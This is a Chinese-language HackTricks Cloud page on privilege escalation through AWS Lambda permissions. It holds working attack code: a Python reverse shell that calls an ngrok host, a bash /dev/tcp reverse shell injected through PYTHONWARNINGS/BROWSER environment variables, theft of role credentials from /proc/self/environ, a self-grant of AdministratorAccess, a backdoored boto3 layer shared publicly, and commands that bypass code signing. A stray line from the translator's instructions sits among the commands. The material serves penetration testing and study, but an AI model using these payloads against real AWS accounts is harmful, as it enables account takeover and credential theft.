AWS - Lambda Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
lambda
有关 lambda 的更多信息在:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
具有 iam:PassRole, lambda:CreateFunction,和 lambda:InvokeFunction 权限的用户可以提升他们的权限。
他们可以 创建一个新的 Lambda function 并将其分配给一个现有的 IAM role,从而赋予该函数与该角色关联的权限。然后用户可以 为该 Lambda function 编写并上传代码(例如包含 rev shell)。
一旦函数设置完成,用户可以通过调用 AWS API 来触发其执行并实现预期操作。此方法实质上允许用户通过该 Lambda function 间接执行任务,以与其关联的 IAM role 所授予的访问级别运行。\
攻击者可以滥用此方法获取 rev shell 并窃取 token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
你也可以从 lambda 函数本身滥用 lambda 角色权限。
如果 lambda 角色拥有足够的权限,你可以利用它给自己授予管理员权限:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
也可以在不需要外部连接的情况下 leak lambda 的 role credentials。这对于用于内部任务的 Network isolated Lambdas 很有用。如果有未知的 security groups 在过滤你的 reverse shells,这段代码会让你把凭证作为 lambda 的输出直接 leak 出来。
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
潜在影响: 直接 privesc 到指定的任意 lambda 服务角色。
Caution
注意,即使
lambda:InvokeAsync看起来很有吸引力,lambda:InvokeAsync本身并不允许执行aws lambda invoke-async,你还需要lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
像在前一个场景一样,你可以 授予自己 lambda:InvokeFunction 权限,如果你拥有 lambda:AddPermission 权限。
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
潜在影响: 直接对指定的任意 lambda service role 进行 privesc。
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
拥有 iam:PassRole、lambda:CreateFunction 和 lambda:CreateEventSourceMapping 权限的用户(可能还包括 dynamodb:PutItem 和 dynamodb:CreateTable)即使没有 lambda:InvokeFunction,也可以间接地 escalate privileges。
他们可以创建一个带有恶意代码的 Lambda function 并将其分配给现有的 IAM role。
用户不会直接调用 Lambda,而是设置或使用现有的 DynamoDB 表,通过 event source mapping 将其与 Lambda 关联。该配置确保 Lambda function 在表中有新条目时自动被触发,无论是由用户的操作还是其他进程触发,从而间接调用 Lambda function 并以所传递的 IAM role 的权限执行代码。
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
如果 DynamoDB 已经在 AWS 环境中启用,用户只需为 Lambda 函数 建立事件源映射。然而,如果 DynamoDB 未被使用,用户必须 创建一个新的表 并启用流:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
现在可以通过creating an event source mapping来connect the Lambda function to the DynamoDB table:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
当与 DynamoDB stream 关联的 Lambda function 时,攻击者可以通过激活 DynamoDB stream 来间接触发 Lambda。这可以通过向 DynamoDB table 插入一个 item 来完成:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potential Impact: 直接对指定的 lambda 服务角色 进行 privesc。
lambda:AddPermission
拥有此权限的攻击者可以向自己(或他人)授予任意权限(这会生成基于资源的策略以授予对该资源的访问):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
潜在影响: 通过授予修改代码并运行的权限,可直接对 lambda 服务角色 实现 privesc。
lambda:AddLayerVersionPermission
拥有此权限的攻击者可以 授予自己(或其他人)lambda:GetLayerVersion 权限。他可以访问该 layer 并搜索漏洞或敏感信息
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: 可能访问敏感信息。
lambda:UpdateFunctionCode
拥有 lambda:UpdateFunctionCode 权限的用户有可能修改与 IAM role 关联的现有 Lambda function 的代码。
攻击者可以修改该 Lambda 的代码以 exfiltrate the IAM credentials。
尽管攻击者可能没有直接能力来调用该函数,但如果该 Lambda function 已存在并正在运行,很可能会通过现有的工作流或事件被触发,从而间接促成已修改代码的执行。
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
潜在影响: 直接对所使用的 lambda 服务角色进行 privesc。
lambda:UpdateFunctionConfiguration
RCE via env variables
有了该权限,可以添加环境变量,使 Lambda 执行任意代码。例如,在 python 中可以滥用环境变量 PYTHONWARNING 和 BROWSER 来使 python 进程执行任意命令:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
对于其他脚本语言,你可以使用其他的 env 变量。更多信息请查看脚本语言的子章节:
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers allows to include code in your lamdba function but storing it separately, so the function code can stay small and several functions can share code.
在 lambda 内,你可以用如下函数检查 python code 的加载路径:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
这些是位置:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
例如,库 boto3 是从 /var/runtime/boto3 加载的(第4个位置)。
利用
可以滥用权限 lambda:UpdateFunctionConfiguration 来向 lambda 函数添加一个新的 layer(层)。要执行任意代码,该 layer 需包含 lambda 将要 import 的某些库。如果你能读取该 lambda 的代码,就能轻松找到这些库。另外请注意,lambda 可能已经在使用某个 layer(层),你可以下载该 layer 并在其中添加你的代码。
例如,假设该 lambda 正在使用库 boto3,这会创建一个包含该库最新版的本地 layer(层):
pip3 install -t ./lambda_layer boto3
你可以打开 ./lambda_layer/boto3/__init__.py 并 add the backdoor in the global code(例如一个用于 exfiltrate credentials 或获取 reverse shell 的函数)。
然后,将 ./lambda_layer 目录压缩为 zip 并 upload the new lambda layer 到你自己的账户(或在受害者的账户,但你可能没有权限)。
注意,你需要创建一个 python folder,并把库放到该文件夹以覆盖 /opt/python/boto3。此外,该 layer 需要与 lambda 使用的 python version 兼容;如果你把它上传到你的账户,它必须位于 same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
现在,使已上传的 lambda layer 可被任意账户访问:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
并将 lambda layer 附加到受害者的 lambda 函数:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
下一步要么是我们自己invoke the function(如果可以的话),要么等到它被正常方式invoked——后者更安全。
A more stealth way to exploit this vulnerability 可以在以下位置找到:
AWS - Lambda Layers Persistence
Potential Impact: 直接对所使用的 lambda 服务角色进行 privesc。
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
也许有了这些权限你可以创建一个函数并通过调用 URL 来执行它……但我找不到测试方法,如果你能做到请告诉我!
Lambda MitM
某些 lambdas 会从用户的参数接收敏感信息。 如果在其中一个获得 RCE,你可以 exfiltrate 其他用户发送给它的信息,详见:
参考资料
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
如果 Lambda 函数强制执行代码签名,攻击者如果能移除 Code Signing Config (CSC) 或将其降级为 Warn,就可以向该函数部署未签名代码。这在不修改函数的 IAM role 或触发器的情况下绕过完整性保护。
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Notes:
- For Path B, you don’t need an AWS Signer profile if the CSC policy is set to
WARN(unsigned artifacts allowed).
Steps (REGION=us-east-1, TARGET_FN=
Prepare a small payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
路径 A) 删除 CSC 然后更新代码:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
路径 B) 将级别降至 Warn 并更新代码(如果不允许删除):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Verified. I will translate the relevant English text to Chinese, keep all markdown/html syntax, tags, refs and links exactly as-is, and will not translate code, hacking technique names, common hacking words, cloud/SaaS platform names, the word “leak”, pentesting, links, paths or markdown tags. I will not add any extra content.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
潜在影响:能够在本应强制执行签名部署的函数中推送并运行任意未签名 code,可能导致以该函数角色的权限进行 code execution。
清理:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

